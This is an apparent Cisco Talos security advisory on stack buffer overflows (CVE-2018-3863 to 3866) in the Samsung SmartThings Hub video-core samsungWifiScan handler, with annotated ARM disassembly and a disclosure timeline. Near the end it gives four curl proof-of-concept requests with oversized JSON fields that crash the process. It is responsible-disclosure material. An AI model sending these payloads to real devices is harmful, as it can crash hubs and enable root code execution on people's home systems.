CVE-2018-3863, CVE-2018-3864, CVE-2018-3865, CVE-2018-3866
Multiple exploitable buffer overflow vulnerabilities exist in the samsungWifiScan handler of video-core’s HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts fields from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
https://www.smartthings.com/products/smartthings-hub
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore
process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allow for a secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core
process, which uses ffmpeg
to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core
process by sending messages in the persistent TLS connection, established by the hubCore
process. These messages can encapsulate an HTTP request, which hubCore
would relay directly to the HTTP server exposed by video-core
. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core
process, which is running as root.
Function sub_46078
is called when requesting the path “/samsungWifiScan” using the POST method:
.text:00046078 sub_46078
.text:00046078
.text:00046078 000 STMFD SP!, {R4,R5,R11,LR}
.text:0004607C 010 MOV R4, R3
.text:00046080 010 ADD R3, R3, #8
.text:00046084 010 ADD R11, SP, #0xC
.text:00046088 010 BIC R3, R3, #7
.text:0004608C 010 SUB SP, SP, #0x210
.text:00046090 220 SUB SP, SP, R3
.text:00046094 220 ADD R3, SP, #0x21C+dest
.text:00046098 220 MOV R1, R2
.text:0004609C 220 MOV R0, R3
.text:000460A0 220 MOV R2, R4
.text:000460A4 220 BL memcpy
.text:000460A8 220 MOV R2, #0
.text:000460AC 220 MOV R3, R0
.text:000460B0 220 STRB R2, [R3,R4]
.text:000460B4 220 BL json_tokener_parse ; [1]
.text:000460B8 220 SUBS R4, R0, #0
.text:000460BC 220 BEQ loc_46130
.text:000460C0 220 SUB R0, R11, #-attr
.text:000460C4 220 BL pthread_attr_init
.text:000460C8 220 MOV R1, #1
.text:000460CC 220 SUB R0, R11, #-attr
.text:000460D0 220 BL pthread_attr_setdetachstate
.text:000460D4 220 MOV R2, #:lower16:sub_45BEC
.text:000460D8 220 SUB R1, R11, #-attr
.text:000460DC 220 MOVT R2, #:upper16:sub_45BEC ; [2]
.text:000460E0 220 SUB R0, R11, #-dest
.text:000460E4 220 MOV R3, R4 ; [3]
.text:000460E8 220 BL pthread_create
Note that the binary embeds the “json-c” library from https://github.com/json-c/json-c that is used to manage JSON objects.
As we can see, json_tokener_parse
[1] parses the POST data and returns a JSON object. Finally, a thread is created for executing the function sub_45BEC
[2], passing the JSON object as parameter [3].
.text:00045BEC sub_45BEC
.text:00045BEC
.text:00045BEC 000 MOV R3, #:lower16:aAdmin
.text:00045BF0 000 STMFD SP!, {R4-R8,LR}
.text:00045BF4 018 MOVT R3, #:upper16:aAdmin
.text:00045BF8 018 MOV R6, R0 ; [4] JSON object
.text:00045BFC 018 SUB SP, SP, #0x420
.text:00045C00 438 MOV R4, #0
.text:00045C04 438 LDMIA R3, {R0,R1} ; "admin"
.text:00045C08 438 MOV R2, #0x22 ; n
.text:00045C0C 438 STR R0, [SP,#0x438+var_428]
.text:00045C10 438 ADD R0, SP, #0x438+s
.text:00045C14 438 STRH R1, [SP,#0x438+var_424]
.text:00045C18 438 MOV R1, R4 ; c
.text:00045C1C 438 BL memset
...
.text:00045CA0 438 STR R6, [SP,#0x438+var_438] ; [4] JSON object
.text:00045CA4 438 ADD R1, SP, #0x438+var_400 ; password
.text:00045CA8 438 STR R0, [SP,#0x438+var_430]
.text:00045CAC 438 ADD R2, SP, #0x438+var_3D8 ; cameraIp
.text:00045CB0 438 ADD R0, SP, #0x438+var_428 ; user
.text:00045CB4 438 ADD R3, SP, #0x438+var_3B0 ; callbackUrl
.text:00045CB8 438 STR R4, [SP,#0x438+var_42C]
.text:00045CBC 438 BL sub_45948
Right after initializing its local variables, the function calls sub_45948
in order to extract the parameters from the POST request. The first four parameters passed to sub_45948
are buffers on the local function stack, in order: user
, password
, cameraIp
, callbackUrl
. The last argument is the reference to the JSON object [4].
.text:00045948 sub_45948
.text:00045948
.text:00045948 var_208 = -0x208
.text:00045948 var_204 = -0x204
.text:00045948 var_1FC = -0x1FC
.text:00045948 var_1F8 = -0x1F8
.text:00045948 arg_0 = 0
.text:00045948
.text:00045948 000 STMFD SP!, {R4-R7,LR}
.text:0004594C 014 MOV R6, R1
.text:00045950 014 SUB SP, SP, #0x1F4
.text:00045954 208 MOV R1, #:lower16:aCameraip ; "cameraIp"
.text:00045958 208 MOV R7, R0
.text:0004595C 208 MOV R4, R2
.text:00045960 208 LDR R0, [SP,#0x208+arg_0]
.text:00045964 208 ADD R2, SP, #0x208+var_1FC
.text:00045968 208 MOVT R1, #:upper16:aCameraip ; "cameraIp"
.text:0004596C 208 MOV R5, R3
.text:00045970 208 BL json_object_object_get_ex
.text:00045974 208 CMP R0, #0
.text:00045978 208 BNE loc_4599C
.text:0004597C 208 MOV R3, #dword_D90CC
.text:00045984 208 LDR R3, [R3]
.text:00045988 208 CMP R3, #0
.text:0004598C 208 MOVEQ R0, #0x22
.text:00045990 208 BNE loc_45A24
.text:00045994
.text:00045994 loc_45994
.text:00045994 208 ADD SP, SP, #0x1F4
.text:00045998 014 LDMFD SP!, {R4-R7,PC}
.text:0004599C
.text:0004599C loc_4599C
.text:0004599C 208 LDR R0, [SP,#0x208+var_1FC]
.text:000459A0 208 BL json_object_to_json_string
.text:000459A4 208 MOV R1, R0
.text:000459A8 208 MOV R0, R4
.text:000459AC 208 BL strcpy ; [7]
.text:000459B0 208 MOV R1, #:lower16:aUser ; "user"
.text:000459B4 208 LDR R0, [SP,#0x208+arg_0]
.text:000459B8 208 ADD R2, SP, #0x208+var_1FC
.text:000459BC 208 MOVT R1, #:upper16:aUser ; "user"
.text:000459C0 208 BL json_object_object_get_ex
.text:000459C4 208 CMP R0, #1
.text:000459C8 208 BEQ loc_45A90
.text:000459CC
.text:000459CC loc_459CC
.text:000459CC 208 MOV R1, #:lower16:aPassword ; "password"
.text:000459D0 208 LDR R0, [SP,#0x208+arg_0]
.text:000459D4 208 MOVT R1, #:upper16:aPassword ; "password"
.text:000459D8 208 ADD R2, SP, #0x208+var_1FC
.text:000459DC 208 BL json_object_object_get_ex
.text:000459E0 208 CMP R0, #1
.text:000459E4 208 BEQ loc_45A78
.text:000459E8
.text:000459E8 loc_459E8
.text:000459E8 208 MOV R1, #:lower16:aCallbackurl ; "callbackUrl"
.text:000459EC 208 ADD R2, SP, #0x208+var_1FC
.text:000459F0 208 MOVT R1, #:upper16:aCallbackurl ; "callbackUrl"
.text:000459F4 208 LDR R0, [SP,#0x208+arg_0]
.text:000459F8 208 BL json_object_object_get_ex
.text:000459FC 208 CMP R0, #1
.text:00045A00 208 MOVNE R0, #0
.text:00045A04 208 BNE loc_45994
.text:00045A08 208 LDR R0, [SP,#0x208+var_1FC]
.text:00045A0C 208 BL json_object_to_json_string
.text:00045A10 208 MOV R1, R0
.text:00045A14 208 MOV R0, R5
.text:00045A18 208 BL strcpy ; [8]
.text:00045A1C 208 MOV R0, #0
.text:00045A20 208 B loc_45994
...
.text:00045A78 loc_45A78
.text:00045A78 208 LDR R0, [SP,#0x208+var_1FC]
.text:00045A7C 208 BL json_object_to_json_string
.text:00045A80 208 MOV R1, R0
.text:00045A84 208 MOV R0, R6
.text:00045A88 208 BL strcpy ; [6]
.text:00045A8C 208 B loc_459E8
.text:00045A90
.text:00045A90 loc_45A90
.text:00045A90 208 LDR R0, [SP,#0x208+var_1FC]
.text:00045A94 208 BL json_object_to_json_string
.text:00045A98 208 MOV R1, R0
.text:00045A9C 208 MOV R0, R7
.text:00045AA0 208 BL strcpy ; [5]
.text:00045AA4 208 B loc_459CC
This function is supposed to extract each JSON parameter and fill the four buffers passed as argument. At high level, this is how each parameter is extracted:
json_object_object_get_ex(json_object, key, &value);
strcpy(buffer, json_object_to_json_string(value));
Where:
- key
is one of “user”, “password”, “cameraIp” or “callbackUrl”.
- value
is of type struct json_object *
.
- buffer
is one of the first four arguments of the function, a buffer on the stack where the resulting string will be stored.
As we can see, the length of the value of each JSON field is not taken into account when copying to the buffer on the stack, which can be exploited to execute arbitrary code. We identified two different vectors that allow for exploiting this vulnerability:
hubCore
, that would be relayed without modification to the vulnerable video-core
process.hubCore
process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core
process.A third vector might exist, which we didn’t test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
The following is a list of each vulnerability and its proof of concept.
Each proof of concept uses the placeholder “OVERFLOW” to highlight the vulnerable parameter, which can be replaced with "A"*0x700
to make the device crash.
A key with value “x” means that its value is irrelevant, but the key still needs to be present.
The strcpy
at [5] overflows the destination buffer, which has a size of 40 bytes.
An attacker can send an arbitrarily long “user” value in order to exploit this vulnerability:
curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","user":"{OVERFLOW}"}'
The strcpy
at [6] overflows the destination buffer, which has a size of 40 bytes.
An attacker can send an arbitrarily long “password” value in order to exploit this vulnerability:
curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","password":"{OVERFLOW}"}'
The strcpy
at [7] overflows the destination buffer, which has a size of 40 bytes.
An attacker can send an arbitrarily long “cameraIp” value in order to exploit this vulnerability:
curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"{OVERFLOW}"}'
The strcpy
at [8] overflows the destination buffer, which has a size of 40 bytes.
An attacker can send an arbitrarily long “callbackUrl” value in order to exploit this vulnerability:
curl -X POST 'http://127.0.0.1:3000/samsungWifiScan' -d '{"cameraIp":"x","callbackUrl":"{OVERFLOW}"}'
2018-03-28 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.